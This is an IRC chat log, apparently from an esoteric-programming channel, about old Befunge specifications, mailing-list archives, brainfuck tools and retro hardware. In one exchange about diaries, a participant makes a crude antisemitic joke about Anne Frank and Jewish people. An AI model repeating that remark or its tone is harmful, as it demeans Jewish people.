2. sine function 15:26:19 yes 15:26:25 1. postfix calculator 15:26:26 Looks like -93. 15:26:28 seems interesting too 15:26:36 Did you see chess.bef? 15:26:49 http://frox25.no-ip.org/~mtve/code/eso/bef/chess/ 15:27:14 I was wondering why FBBI and CCBI both infinite-loop on it but his Bef93 interp doesn't 15:27:37 Deewiant, might be due to reflecting on something in 98? 15:27:47 AnMaster: In 93 compatibility mode, of course :-P 15:27:55 Deewiant, don't know then 15:28:47 Yes, I don't either. 15:28:56 Haven't looked into it in detail yet. 15:31:15 In Befunge-96 all IPs had the same stack 15:31:20 I.e. shared 15:31:47 g and p were deprecated, that's interesting 15:40:45 Real life needs lazy evaluation... 15:41:18 AnMaster: Visual Befunge - http://members.home.nl/wimrijnders/bef.htm 15:42:32 no screenshots? 15:42:42 "I just thought of something: Are you sure that you want to have longs as 15:42:42 the coordinates? I can't imagine anyone having a befunge program more than 15:42:43 65000 x 65000." 15:42:48 I don't have any vm set up atm. So testing it will be highly messy 15:42:53 Does fungot exceed that? 15:42:54 Deewiant: that pesky exponential growth!! i'm having too much fun with this guy 15:43:00 Deewiant, the stack? yes 15:43:03 for ul 15:43:14 AnMaster: No, Funge-Space. 15:43:27 Deewiant, yes the ul stack... in funge-space 15:43:41 Ah, it's stored in Funge-Space? 15:43:53 yes 15:44:00 and it grows into negative funge-space 15:44:07 far into it 15:44:12 Heh 15:44:13 I'm not quite sure what I set the ^ul stack limit to, it might go below -32768. 15:45:03 Other than that I don't use many far-off coordinates. The ^bf tape is at some row, columns [0, 999] or something equally small. 15:46:31 !help 15:46:32 Supported commands: addinterp bf_txtgen daemons delinterp fyb help info kill userinterps 1l 2l adjust asm axo bch befunge befunge98 bf bf16 bf32 bf8 bfbignum boolfuck c chiqrsx9p cintercal clcintercal cxx dimensifuck echo forth glass glypho hello kipple lambda lazyk linguine malbolge pbrain perl qbf rail rhotor rot13 sadol sceql sh slashes test trigger udage01 underload unlambda whirl yodawg 15:46:40 !bf_txtgen a 15:46:43 39 +++++++++++[>+++++++++>+>><<<<-]>--.>-. [22] 15:46:45 !bf_txtgen a 15:46:48 39 ++++++++++[>++++++++++>+>><<<<-]>---.>. [95] 15:46:50 hm 15:46:55 surely that could be much shorter? 15:47:02 !bf_txtgen a 15:47:05 39 ++++++++++[>++++++++++>+>><<<<-]>---.>. [18] 15:47:14 apart from the >><< bit I mean 15:47:20 !bf_txtgen a 15:47:23 39 ++++++++++++[>++++++++>+>><<<<-]>+.>--. [35] 15:47:24 !bf_txtgen A 15:47:27 35 ++++++++[>++++++++>+>><<<<-]>+.>++. [59] 15:47:30 !bf_txtgen A 15:47:32 35 +++++++++++[>++++++>+>><<<<-]>-.>-. [33] 15:47:37 hm 15:47:47 oh it adds a newline? 15:47:48 hm 15:48:36 Deewiant, "Get and Put Discouraged in favor of Get-Left, Get-Right, Put-Left and Put-Right" 15:48:43 aren't some of those in TOYS? 15:48:44 iirc 15:48:47 AnMaster: Yes, as I said, g and p deprecated. 15:48:51 yes 15:48:59 but you didn't say anything about TOYS 15:49:00 ... 15:49:04 which was my question 15:49:06 And yes, "get left/right hand" are stated to have been based on get-left / get-right in Befunge-96. 15:49:19 ah yes... 15:49:27 They may or may not be the exact same commands. 15:49:34 One-shot Stringmode - Looks useful. <-- is this ' I wonder... 15:49:46 Yes. 15:49:51 -!- asiekierka has joined. 15:49:54 Oh god 15:49:57 AnMaster: Grep for 'Edit #2 - Dec 19 1996 Chris Pressey, Cat's-Eye Technologies. 15:49:59 Virut attacked me AGAIN 15:50:01 AnMaster: You'll find a Befunge-96 spec. 15:50:04 but this time it should be dead for good 15:50:06 oooh 15:50:09 removed all EXE's and DLL's 15:50:12 AnMaster: Includes descriptions of directives. 15:50:15 and proceeding with safety to the remaining ones 15:50:27 Deewiant, \o/ \o/ \o/ 15:50:44 asiekierka, clean reinstall duh 15:50:47 AnMaster: Also those instructions. And yes, ' is "One-Shot Stringmode". 15:50:49 well, not exactly 15:50:53 "clean" reinstall is a full format 15:50:59 I would call it "half-clean" reinstall 15:51:29 asiekierka, full format was what I meant 15:51:43 only keep plain text files, stuff you can manually inspect 15:51:47 and 15:51:51 well, I can't do a full format 15:51:56 do not run as administrator 15:51:57 too much stuff on my hard disk to sort them 15:51:58 in the future 15:52:00 and 15:52:22 XP either offers omnipotent admin or cantdoanything guest 15:52:54 also, I have a better antivirus 15:52:56 err. I'm pretty sure it has a mode in between called "normal user" or such, instead of "limited user" 15:53:00 but maybe I misremember 15:53:14 there was that "power user" too 15:53:15 well, on XP SP2 there's either "Admin user" or "Normal/Limited user" 15:53:18 which was not very secure 15:53:28 AnMaster: Grep for "Edit #3", it's from 1996-12-31 and is the final Befunge-96 spec :-) 15:53:41 I've FINALIZED the Befunge-96 spec (because, uh... it's about 2 hours away 15:53:41 from 1997... and anything after that would have to be called "Befunge-97". 15:53:59 actually, XP says that there's either "Computer Administrator" mode (Admin mode basically) or "Limited mode" 15:54:05 asiekierka, I'm 100% sure "power user" mode 15:54:27 Hahaha, holistic deviancy 15:54:32 Best idea ever 15:54:35 check the user management thing found in one of them *.msc files 15:54:35 iirc 15:54:49 so either Power User or Can't-do-Anything-Useful-Other-Than-Use-Apps-Dammit User 15:54:52 Hahaha, holistic deviancy <-- in 96 draft? 15:54:57 AnMaster: In 96 final 15:55:03 Q: What's the FIRST Befunge spec 15:55:03 Wasn't in Edit #2. 15:55:04 ah 15:55:06 asiekierka: 93. 15:55:18 ...Drafts do count. 15:55:23 93. 15:55:25 :-P 15:55:32 ...There's no Befunge-92?! 15:55:36 Then I must go BACK IN TIME! 15:55:37 Not to my knowledge. 15:55:52 I think -93 came "out of the blue" when Chris released it. 15:55:54 I could be wrong. 15:56:36 Also, is there any esoteric language that's "top at the moment" here right now? 15:56:40 I think Befunge 15:56:43 ;$I rand6.bf 42 18 15:56:43 ; that was a compiler directive to include another .bf source 15:56:44 haha 15:56:51 Chris sez "I don't think there will be any more major changes" -- 1997-01-23 15:56:54 So much for that. 15:57:05 Deewiant, are you going to add a 96 compat mode to ccbi? 15:57:14 Maybe, if it's simple to do. 15:57:25 Haven't looked at that in enough detail to be able to say if it is :-) 15:57:28 Also, is there a tutorial on the mess of commands that's called Be(a)funge? 15:57:34 Maybe, if it's simple to do. <-- hey, that's my comment 15:57:36 No tutorial. 15:57:38 :P 15:57:51 asiekierka, what the hell is the "(a)" there for 15:58:08 i don't know 15:58:14 I know there is a Befunge-93 tutorial 15:58:27 asiekierka, you put the "(a)" there. What did you mean with it 15:58:27 No Befunge-9[678] tutorial. 15:59:23 * $C command constant 15:59:25 that is nice 15:59:41 ;$C @ 0 15:59:44 Oops! 15:59:45 :-P 15:59:58 "stack by a particular extentible null command" 16:00:06 not sure what an "extentible null command" is yet 16:00:14 but sound like one not defined by the spec? 16:00:18 AnMaster: I'm not telling! 16:00:19 Yes. 16:00:35 -!- bsmntbombdood has quit (Read error: 104 (Connection reset by peer)). 16:00:44 asiekierka, about what? 16:00:48 the (a) 16:00:51 Also, I want to implement BF for the C64 16:01:01 93 can be done. 16:01:03 I assume it was you being confused then 16:01:13 -!- bsmntbombdood has joined. 16:01:13 Nope 16:01:17 Deewiant, I'm not so sure, but I suspect 98 could be done. 16:01:17 The C64 doesn't have enough memory for 96. 16:01:18 Duh 16:01:22 Or 98. 16:01:29 You break my project. 16:01:34 Deewiant, um, limited memory of course 16:01:38 right 16:01:43 if you remove the 32 bit max it works 16:01:45 AnMaster: Whatever you assume, I added (a) to make a sentence that I DON'T EVEN KNOW WHAT MEANS 16:01:48 err 16:01:48 min 16:02:11 doh, there is already a BF interpreter for the C64 16:02:13 You lose fingerprints without 32, though. 16:02:22 Which is a bit of a shame. 16:02:25 Deewiant, actually you could do it 16:02:30 since funge-space would be sparse anyway 16:02:34 This is a birthday demo for Martin Wendt, a true C64 fanatic. It's a multicolour brainfuck interpreter, using the screen RAM for data and code, meaning that you see the code execute and modify itself! 16:02:37 you just will get OOM rather fast 16:02:39 that's the BF interpreter xD 16:02:48 Deewiant, you can manually do 32-bit numbers with 8 bit ones 16:02:51 if you have to 16:03:19 Hmm, 80*25 = 2000 * sizeof bytes for a Befunge-93-sized program 16:03:40 The C64 with BASIC FEATURES ON has ~38911 bytes of free memory 16:03:52 BASIC FEATURES == everything BASIC offers 16:04:02 And if you turn BASIC off you get even more memory 16:04:14 Deewiant, there is an OS with a webserver and web browser for C64 16:04:16 so 16:04:23 I don't think it is impossible 16:04:25 just hard. 16:04:32 Food time -> 16:04:35 AnMaster: Where to download it because I am wondering since forever 16:04:42 asiekierka, download what? 16:04:46 Contiki! 16:04:49 the C64 OS 16:04:50 no clue 16:04:53 google? 16:04:54 there's also GEOS but duh 16:05:00 AnMaster: Well, i don't even need it so nah 16:05:14 I don't really care a lot about C64 16:05:28 to me it is history, and not very interesting history 16:07:12 I do 16:07:25 I also own an Amiga but I don't own hardware to transmit data between PC and Amiga 16:07:31 and Amiga is just... too new for me 16:07:32 duh 16:07:35 not enough limits 16:09:17 Deewiant: DIdn't you work on a DOBELA interpreter? 16:09:25 asiekierka, he finished it iirc 16:09:26 ... 16:10:27 ...what??? 16:10:50 ...actually, yes, yes he did 16:11:08 Augh, not only for Linux only, but also 64-bit 16:11:12 there's NO WAI I can test it 16:11:41 ...did I use a very old meme just about now? 16:13:18 none that I know of 16:13:26 though "WAI" sounds meme-y 16:13:33 asiekierka, but why can't you test it 16:14:07 No Linux 16:14:18 asiekierka, you could install qemu and emulate 64-bit in case you only have a 32-bit CPU 16:14:20 and I'm not sure if my Core 2 Quad is 64-bit 16:14:23 and installing linux is easy 16:14:37 asiekierka, core 2 quad is most likely 64-bit 16:14:41 I already wasted 3 hours today installing XP 16:14:42 not 100% sure of intel cpus 16:14:52 Core 2 Quad IS an intel CPU, doh 16:14:54 asiekierka, agreed. installing windows is wasting time 16:15:03 asiekierka, yes... that was what I said 16:15:09 oh 16:15:11 and NO WAI is from the same meme as O RLY and YA RLY, thought that you should know 16:16:04 asiekierka, last time I checked installing linux usually took way less 16:16:12 16:14 asiekierka: Core 2 Quad IS an intel CPU, doh 16:16:15 something like, uh, 30 minutes? 16:16:18 stuuuupid 16:16:40 ehird, good evening 16:16:46 good morning! 16:16:56 ehird, not even in UK is it "morning" now 16:17:00 maybe "afternoon" 16:17:09 AnMaster: ehird time is objectively right. 16:17:11 11:34 Deewiant: ehird: http://www.phoronix.com/scan.php?page=article&item=amd_r600_700_guide, usable 3D for ATIs "should be just a matter of weeks" 16:17:13 i am aroused 16:17:26 open source hardware specifications are the best kind of porn! 16:17:35 AnMaster: Last time I checked installing my favourite distro of Linux usually took about the same time 16:18:15 asiekierka, which distro is that... 16:18:21 AnMaster: probably pclinuxos or something xD 16:18:25 Or Mandrakeiva! 16:18:27 ehird: Actually, it's SuSe. 16:18:28 asiekierka, and why aren't you dual booting then already 16:18:32 oh my 16:18:33 lawl suse 16:18:34 suse... 16:18:36 ...what? 16:18:40 I like it 16:18:42 I am used to it 16:18:42 It's like Fedora except crappier! 16:18:53 actually I used suse lots of years ago. And ehird's summary was perfect 16:19:08 I am used to it and I don't want to waste time to learn a bunch of different stuff 16:19:09 I went back to slackware after 16:19:52 i'm having a bit of cognitive dissonance here 16:20:01 my brain knows I shouldn't like Arch 16:20:05 but my mind knows I like it 16:20:11 asiekierka: It might work on BSDs too :-P 16:20:13 i'm pretty sure it's dangerous to hav ethem out of sync 16:21:06 In fact, it not only might but should work on BSDs and Solaris, though I haven't tested it 16:21:07 14:42 Deewiant: "I just thought of something: Are you sure that you want to have longs as 16:21:07 14:42 Deewiant: the coordinates? I can't imagine anyone having a befunge program more than 16:21:09 14:42 Deewiant: 65000 x 65000." 16:21:10 Hohohohohohoho 16:21:15 Did we find the 96/97 specs? 16:21:29 ehird, yes. The mind must be allowed to win, or you risk going mad. And not a good kind of mad (like esolang crazy/mad), but the gibbering lunatic kind of mad. 16:21:35 ehird: 2009-05-08 17:19:35 ( Deewiant) AnMaster: Thanks to mtve, some old messages from the Befunge mailing list, includes info on -96 and -97: http://frox25.no-ip.org/~mtve/tmp/bef_maillist_0_520.txt 16:21:35 ehird, we found 96 at least. 16:21:53 AnMaster: OTOH, I think that consciousness and the mind is merely a byproduct of the brain's process. 16:22:01 So the mind thinking something the brain doesn't might cause a metaphysical quantum rip ;-) 16:22:12 ehird, so quickly make the brain think the same 16:22:22 mtve said he's digging up more stuff so with any luck we'll have the full archives online sooner or later. 16:22:23 how? I'm the mind, I don't have control over it 16:22:35 ehird, oh hm. 16:23:05 Deewiant, great 16:23:46 The h "Holistic Deviancy" command pops a value off the stack and uses it as the 16:23:46 Holistic Deviancy value for the current program counter (and ONLY the current 16:23:46 PC), throughout the entire program. 16:23:47 err 16:23:53 what exactly is "Holistic Deviancy value" 16:23:56 "Forgive me, I've taken the drastic step of subscribing all of you to this 16:23:56 list, as you've been kind enough to take some interest in Befunge. " 16:23:58 Ouch. 16:23:58 ah right 16:24:00 AnMaster: Read the next paragraph. 16:24:01 it says a bit below 16:24:04 Not very nice. 16:24:49 Deewiant, like storage offset, except it offsets the value instead of position? 16:24:50 It wasn't a high-volume list when only that message was there, so I don't think it's very not-nice. 16:25:11 AnMaster: Kinda. 16:25:46 Storage offset only applies to commands that mess with funge-space; that, as I understand it, applies to execution as well. 16:26:45 (There is no reflect 180 degree 16:26:45 operator; but one can be simulated with T@.) 16:26:46 err 16:26:48 oh 16:26:51 like THAT 16:26:53 nasty 16:27:01 I.e. 1H1)G.@ prints 2. 16:27:20 Lol, it's fun watching people come up with inferior keyboard alternatives to a very mouse operation (clicking links) 16:27:24 Deewiant, err won't the G turn into a H by then? 16:27:32 or does it only affect fetches and such? 16:27:35 AnMaster: Yes, )G becomes 0H. 16:27:46 Which is exactly what I intended. 16:27:52 hm ok 16:27:55 right 16:28:03 Deewiant: Except that H puts the holistic deviancy on stack; you want 'h' instead? 16:28:12 Oops, right you are. 16:28:23 Gone for a few minutes -> 16:32:08 Speaking of limited-memory systems, the TI-86 has mooz's rather nice interpreter/debugger, and that thing has 96 KB of user-accessible RAM. Of course that's befunge93 only. 16:33:40 Befunge93 isn't much of a memory hog. 16:34:32 As if. 16:34:41 I had to buy 12GB of RAM to run my befunge-98 mission-critical programs 16:34:45 Still, CCBI manages to use 1484 K. 16:36:23 From srcc!crocus!pangea.ca!befunge-request Sat Jan 04 05:02:14 1997 16:36:25 hm 16:36:32 err 16:36:37 There's also rather little (can't really remember how little) of RAM that's really designated as "working RAM", since all programs the user installs (and other variables) are stored in the RAM too. Although you can add string variables to the VAT and use their contents as working RAM, and there's some free space you can use if you don't call the ROM function-plotting routines. 16:36:39 it isn't THAT old is it 16:36:43 the mailing list 16:36:48 AnMaster: 1997? 16:36:51 yes... 16:36:58 ehird, didn't they have MX records by then? 16:37:06 what's that got to do with anything 16:37:09 it's just an mbox 16:37:19 ehird, oh not !-bang path in routing 16:37:30 it's that too, I think 16:37:40 ehird, I'm pretty sure that is even older 16:37:48 I'm pretty sure there's a reason for it 16:37:54 well yes 16:38:31 "Before I make the commitment to design a fully Befung-ctional system for the Mac" 16:38:37 what is "Befung-ctional" I wonder 16:38:53 Functional befunge. 16:39:00 "a fully functional Befunge" 16:39:03 "a fully Befung-ctional" 16:39:09 they sound similar 16:39:15 hm ok 16:39:33 such things are easier for native speakers as usuak 16:39:35 usual* 16:39:40 "I got an idea for Befunge playing SimCity. Why not envision a Befunge program as a road map of a 16:39:40 city? Each cell is part of a line of cells in one row or one column, so why not structure them 16:39:40 that way?" 16:39:41 wow 16:39:46 awesome 16:40:02 oh my 16:40:08 that post uses pascal syntax 16:40:15 -!- FireFly has joined. 16:40:19 for describing certain things 16:40:45 AnMaster: unsurprising 16:40:51 Mac OS's official applications language was Pascal 16:40:54 until later on 16:41:18 actually 16:41:26 ehird, they were different posts 16:41:29 not related 16:41:38 AnMaster: still could have been a macci 16:41:38 e 16:41:44 yes 16:41:50 i mean, in 1997 you could use one of: 16:41:52 - windows 95 16:42:03 - a buggy, hell on earth to configure linux or some sort 16:42:03 ehird, anyway it seems to be describe some kind of run-length compression of funge-space using "streets" 16:42:05 *of 16:42:11 - a stable, even more hell to configure bsd 16:42:22 - a quite buggy but easy mac os 16:42:24 err no 16:42:29 pretty shit choice 16:42:32 ehird, it was talking about Modula-2 too 16:42:38 heh 16:42:42 don't even remember what type of language that was 16:42:47 AnMaster: first OO 16:43:03 ehird, there was NT too 16:43:05 I'm pretty sure 16:43:07 hm wait 16:43:10 modula-3 was the first oo 16:43:17 modula-2 was niklaus's pascal successor 16:43:19 AnMaster: well, sure 16:43:23 ehird, aha 16:43:31 AnMaster: but that was just windows 95 that's buggy in different ways 16:43:35 and has a rubbisher interface 16:43:39 ehird, what about Solaris? 16:43:44 err 16:43:45 SunOS 16:43:46 back then 16:43:48 iirc 16:43:56 AnMaster: you can't afford a Sun box! 16:44:00 those things cost *thousands* 16:44:09 true 16:44:42 Deewiant, found 97 spec yet? 16:44:45 also, I think NT was quite hard to get vs 95 16:44:50 AnMaster: Haven't looked. 16:45:01 so yeah, in 1997 your best choice was probably a BSD or MacOS 16:45:11 the former if you hate yourself :-P 16:45:30 ehird: In 1997, many would still use DOS. 16:45:31 bsmntbombdood: how's the order 16:45:46 Deewiant: True, but probably not by choice... 16:45:56 Hm, wait. 16:46:01 I think I used DOS more often than Windows in those days. 16:46:06 You could buy a NeXT box in 1997, couldn't you? 16:46:18 Well, those cost multi thousands too. But if you could afford it, that'd be sweet nectar. 16:46:27 yeah, you could, NeXT started in late 80s 16:46:33 ehird, wouldn't it have been even more obscure than SunOS? 16:46:41 In 1997 I was a slackwareist, and it wasn't all that bad, really. 16:46:46 I didn't even break it very many times. 16:46:48 AnMaster: Hey, TBL used it to make the web. 16:46:54 And it was more known then than now. 16:47:03 It'd be kind of like using a BSD today, probably. 16:47:10 (on the desktop that is) 16:47:13 ehird, somehow "then than now" just sounds funny 16:47:22 at least if you say it without context 16:47:28 1996: After NeXT 16:47:28 Apple Computer announced an intention to acquire NeXT on December 20, 1996 16:47:42 BeGlad: short for Befunge Gladiators 16:47:44 The _asm_exec_ram memory range on TI-86 (which is the main place for both code and data for the currently running application) is 9000 bytes; that's rather luxurious, given that the 80x25-byte Befunge93 space only needs 2000. 16:47:46 ok, forget that 16:47:51 Deewiant, spec of it? 16:48:04 Was at http://www.cats-eye.com/funge/doc/97/beglad-97.html, according to Google. 16:48:29 Cell = Record 16:48:29 Command : Whatever 16:48:29 Next, Prev : ^Cell; 16:48:29 End; 16:48:36 * AnMaster tries to remember what ^ was in pascal 16:48:42 pointer? 16:48:42 I haven't coded pascal for *YEARS* 16:48:43 Pointer? 16:48:48 ehird, that might be it 16:49:01 It's more pointy than a *. 16:49:05 y'know, Apple were gonna buy BeOS instead of OS X etc. But the CEO said something like "I have Apple by the balls and I am going to squeeze", iirc, so uh that didn't work out :-) 16:49:07 fizzie, hah 16:49:21 may be apocryphal I think i heard it on reddit 16:49:48 Didn't that alternative C++ syntax (SPECS) adopt ^ for pointers because it's more pointy than the old *? 16:49:56 Yeah. 16:49:57 SPECS is nice. 16:51:00 I guess the rationale ("^ is more pointy") is not in the specification, though. At least explicitly. 16:51:11 :-D 16:51:11 Deewiant, err "cabbagepatch variable"? I'm pretty sure I saw it in the -96 spec, but I don't want to loose the location I'm at in the file atm 16:51:40 wow 16:51:50 AnMaster: Err, are you on a single-tasking OS or something? 16:51:55 I found the first trefunge mention 16:51:58 Deewiant: It's called emacs 16:52:05 I don't think you can open the same file twice in emacs 16:52:05 Deewiant, I don't know what that term means 16:52:06 iirc 16:52:18 AnMaster: whoosh! 16:52:26 -!- MigoMipo has joined. 16:52:39 No results found for "cabbagepatch variable". 16:52:40 meh 16:52:59 Did you mean: "cabbage patch variable" -> No results found for "cabbage patch variable". 16:53:10 -!- jix_ has joined. 16:53:13 -!- jix has quit (Read error: 54 (Connection reset by peer)). 16:53:13 oh you mean like that 16:53:40 right you can of course get different views of same file in emacs 16:53:49 right found what it meant 16:53:58 ehird, Deewiant: fact is however I was using less 16:54:02 so emacs is irrelevant here 16:54:15 I wasn't talking about emacs, I was talking about your OS 16:54:18 ^Zup enter /cabbage 16:54:23 Deewiant, more work 16:54:24 AFAIK less doesn't delete the file while it's viewing it 16:54:24 :P 16:54:32 Yeah, so you'd rather have me do it :-P 16:54:52 Deewiant, you forgot gnu less supports --self-destruct 16:55:04 so you don't have to eat the paper 16:55:05 ;P 16:55:38 Deewiant, I was hoping you would happen to remember it 16:55:59 I like the idea of an alcoholistic delta command. I can see it now: not 16:55:59 only does the actual number added to each command change, but the program 16:55:59 counter weaves around, occasionally hitting things and saying "ow" and 16:55:59 "sorry, policeman, I'm drot nunk and I spasn't weeding!" 16:56:21 spasn't weeding? I wasn't having spasms while on weed. 16:56:25 Right? 16:56:33 ok this is not trefunge 16:56:38 but 3D funge 16:56:48 with collision detection??? 16:58:04 Deewiant, you could add that to a fingerprint in 98 16:58:19 All of -96 could be a fingerprint in 98. 16:58:25 yeah 16:58:40 everything could be a fingerprint in 98 16:58:42 ooh yes this is fun 3D funge 16:58:54 Each pane can have a different instruction on each side. The Program Counter 16:58:54 would follow in a straight line along the surface of the pane. If a pane was 16:58:54 blocking its way in front of it, it would turn upwards and follow it. If there 16:58:54 was no pane to walk onto, it would 'fall' over the edge and either go downwards 16:58:54 round the corner, or flip upside-down onto the other side of the pane. 16:58:57 :D 16:59:10 "To help you visualise this, imagine a rubik's cube with Befunge instructions drawn on the edges." 17:00:01 -!- oerjan has joined. 17:00:52 oerjan, hi. I don't get IWC today. Care to provide "IWC explained"? 17:01:08 once i've read it 17:03:10 He's worried about Death of Being Stared At Angrily By A Giant Frog 17:03:26 wow so he didn't disappear for good after all 17:03:45 Deewiant, yes. But it seems to be referencing something from popular culture 17:03:49 I just have that feeling 17:03:55 but I have no idea what it is referencing 17:03:56 Your feelings suck 17:04:22 Deewiant: Head Paradox, too, i expect 17:04:27 -!- asiekierka has quit. 17:04:34 heh 17:06:07 -!- oerjan has quit ("Reboot"). 17:10:18 -!- oerjan has joined. 17:10:52 Deewiant, seems asiekierka disliked your interpreter btw? 17:11:07 asie is a fickle person. 17:11:08 If he can't run it I'm not surprised :-P 17:11:39 Deewiant, you could run it even on a sparc I think. Just use qemu's support for emulating other architectures. 17:12:07 assuming qemu works on non-x86 (which iirc it does) 17:12:18 Of course you can run it on anything if you emulate, that's the whole point of an emulator. But then you're not really running it on the environment the emulator is running in. 17:13:32 I think I'll write my own browser. Why? Indeed, why. 17:14:02 Befunge is NOT good for: 17:14:03 Writing an OS. 17:14:03 Writing a reasonably-sized program. 17:14:03 Speed-sensitive applications. 17:14:05 Just about anything. 17:14:13 Existing. 17:14:21 AnMaster: i don't think there is a specific reference anyway, diaries are everywhere in fiction 17:14:30 Befunge-96 is a bizarre, half-formed, misfeatured, brain-damaged 17:14:30 standard that appears to have been written at 3:00 in the morning. The 17:14:30 standard itself was written by Chris Pressey, and appears on his site 17:14:30 (see question 5). Do not write in it! Do not bother to implement it! 17:14:35 oerjan, right. But it seemed more than that 17:14:51 AnMaster: it's probably a trope 17:14:57 btw, do any of you write a diary in real life? Or know someone who does. 17:15:15 nope 17:15:15 Given that it took 4 months for people to completely dismiss -96... I'm not going to implement it :-P 17:15:23 it seems rather uncommon outside fiction... 17:15:28 AnMaster: Blogs. 17:15:39 Have pretty much replaced diaries for TEH NU GEN. 17:15:45 AnMaster: Anne Frank made one, i hear 17:15:56 ehird, that is less private. a diary is not public like a blong 17:15:58 oerjan: pfft, like a dirty jew could be clever enough to write 17:15:59 pull the other one 17:15:59 blog* 17:16:04 they couldn't even figure out vowels 17:16:16 though they do have a similar use 17:16:20 AnMaster: kids are less private. there are probably blogs with details that would be considered only suitable for a diary years ago 17:16:45 hm... that's probably true 17:19:20 #if __BORLANDC__ 17:19:31 Ah, the memories. 17:20:08 C compilers back then were a pile of incompatibilities 17:20:16 I 17:20:16 tried PCC (a shareware compiler), but then I realized it is 17:20:16 missing STRING.H. I tried Microsoft Quick C, but it does not 17:20:17 seem to support srand() and rand() commands. 17:20:25 PCC was shareware? 17:21:12 Not the pcc you're thinking of. 17:21:27 http://www.desmet-c.com/ 17:21:36 lol@not supporting rand 17:22:01 I support Ayn Rand all the way 17:22:50 Deewiant, so there is some stuff discussing 97 but where is the 97 spec? 17:22:58 not on the list as far as I can find 17:22:58 * ehird stabs Slereah. 17:22:59 Hard. 17:23:08 Why do you ask me? If it's not there it's not there. 17:23:25 Deewiant, maybe you found it? 17:24:12 FUNGINOMY: The practice of fully naming fungoids (Cartitoribefungoid is the 17:24:13 full name for Befunge-93, and it looks like Befunge-97 will be 17:24:13 Cartispheribefungoid. Both implementations are Cartefungoids - Cartesian 17:24:13 grid space.) 17:24:13 FUNGINOMINOMY: The process of coming up with words like "funginomy." 17:24:42 "well, this is really sick, but I had a thought.. 17:24:42 it could be a form of encapsulation, making sure that any PC that enters that 17:24:42 block of code has to do it through the right port (which will global-shift 17:24:42 it correctly) or get fucked up. Otherwise someone could hit it slightly off 17:24:42 and end up skipping vital steps of your process." 17:24:46 I'm not sure of the context 17:24:47 yet 17:24:54 but this sounds extremely weird 17:25:05 Cartitoribefungoid? 17:25:08 That's an awesome name for -93 17:25:20 What's -98? :P 17:25:24 Laheybefungoid 17:25:29 :-D 17:25:38 That's not very funge-soundin 17:25:38 g 17:25:45 Maybe cartilaheybefungoid 17:25:54 :D 17:25:55 Since I guess it is Cartesian. 17:27:11 actually 17:27:14 AnMaster: Grep for `Here's the list of "what it all means."`, list of very short names/descriptions for Befunge-97 instructions at the time 17:27:17 it's a shark programming language 17:27:32 I think this might be the start of the idea of storage offset 17:27:38 I'm not 100% sure yet 17:27:40 80,25-Cartefinitoribefunge-93. 17:28:16 AnMaster: Storage offset-related ideas were hashed quite early there, I think. 17:28:35 Somebody said that a new thread should access relative to where it was born 17:28:49 Deewiant, any idea of what the thread where you can find this in: 17:28:50 Can we leave it for "Befunge-97" or perhaps "Befunge-97: The Director's Cut" 17:28:50 ("The Truly Twisted Compile?") :-) 17:28:54 17:29:01 so what is that thread about. I can't figure it out 17:29:19 >Goddess, that's sick. But I think it's sufficiently befunged. 17:29:23 Is the context 17:29:25 Deewiant, yes 17:29:31 You can work your way back can't you? 17:29:42 Deewiant, I tried but I can't find the start of that thread 17:30:10 Well, if befunge is to be multiple-PC'ed, you could have the "global" 17:30:10 attributes affect only particular PC's (eg, have them as fields in 17:30:10 PC structs). That way, a "global increment" would only affect a particular 17:30:10 PC. 17:30:33 can't you lot import it into a mail client? 17:30:34 it's an mbox... 17:30:41 -!- tombom has joined. 17:30:58 ehird, hm I guess I could try to open it in mutt 17:31:21 -!- pikhq has joined. 17:31:26 except this mutt is set to work on maildir style mailboxes by default 17:31:46 * AnMaster reads the docs 17:33:03 Hahaha, a Java Befunge-93 interpreter which uses strings as indices into a hash table for infinite space 17:33:10 /*NEED AN OBJECT FOR A KEY ANYWAYS..WHY NOT A STRING?*/ 17:33:19 return new String(String.valueOf(_x) +","+ String.valueOf(_y)); 17:33:24 NEED UPPERCASE COMMENTS..WHY NOT USE TWO-DOT ELLIPSES? 17:33:27 Maybe because it's a bad idea? :-D 17:33:42 I love the way he creates 6 strings in one line 17:33:48 In order to index a hash table 17:34:20 ehird: From the mouth of Christopher Lahey himself: cartinfinilahebefunge 17:34:28 Deewiant: Beautiful. 17:34:36 http://www.christopherlahey.com/ ey 17:34:46 "ASP.NET Development" 17:34:47 ":-( 17:34:53 Christopher James Lahey 17:35:10 ah, googling suggests it's not the same person 17:35:28 Interesting, his name is pronounced /lehi/ 17:35:36 ! 17:35:38 I wonder where it's from 17:35:38 Laheyyyyyyyyy. 17:35:39 :-( 17:35:40 :P 17:35:44 Stress on the first syllable, too. 17:35:52 Hawaii, maybe? 17:35:56 Or thereabouts 17:36:06 Hawai'i, y'mean? 17:36:34 No, Hawaiʻi 17:36:57 But anyway: "As prescribed in the Hawaii Admission Act that granted Hawaiian statehood, the federal government recognizes Hawaii to be the official state name." 17:37:11 Off to sauna -> 17:37:42 crazy Finns ;) 17:37:44 So the glottal stop is implicit. Got it. :p 17:38:06 Actually, before that, pasting this: 17:38:07 Another thought on Quantefungoids (Quantum Mechanics): 17:38:07 How about T is like a subatomic particle decay? That is, the PC is split 17:38:07 into two PC's (or ip's if that's your cup of tea), one going (relative) 17:38:07 left, one going right. All delta-commands either PC further encounters are 17:38:10 listened to IN MIRROR SYMMERTRY BY BOTH PC's. Yes, Quantefunge could be 17:38:12 the first programming language ever to implement spooky action at a 17:38:15 distance!!! 17:38:37 From: "Chris Pressey" 17:38:38 X-Mailer: Microsoft Internet Mail 4.70.1155 17:38:40 oh god 17:38:47 :-D 17:39:28 Deewiant, hah indeed 17:39:36 Watercooling uses such creepy terms. "Fill and bleed". 17:40:05 Anybody written a program in ShaFuck yet? :P 17:40:38 * oerjan swats GregorR -----### 17:40:52 GregorR, what is ShaFuck? 17:40:54 Hey, don't get mad at me for YOUR incompetence. 17:40:55 GregorR: describe? 17:40:59 http://www.esolangs.org/wiki/ShaFuck 17:41:03 find sha1(x)=y(bf prog) 17:41:05 program is x? 17:41:11 when y is interpreted as binary 17:41:13 data 17:41:23 yep 17:41:41 But I wrote an interpreter and everything! 17:41:48 And nobody's written any code! :( 17:41:51 (Not even me :P ) 17:42:23 the syntax is a little awkward to get just right, you see 17:42:30 GregorR, err does it mean interpreter tries to calculate the corresponding program for a sha1 sum? 17:42:57 AnMaster: If by "calculate" you mean "just run", then yes. 17:43:47 GregorR, I meant finding a string corresponding to the sum 17:44:05 AnMaster: your 1024 byte program is a string 17:44:06 now 17:44:08 the interpreter calculates 17:44:11 sha1(prog) = bf 17:44:14 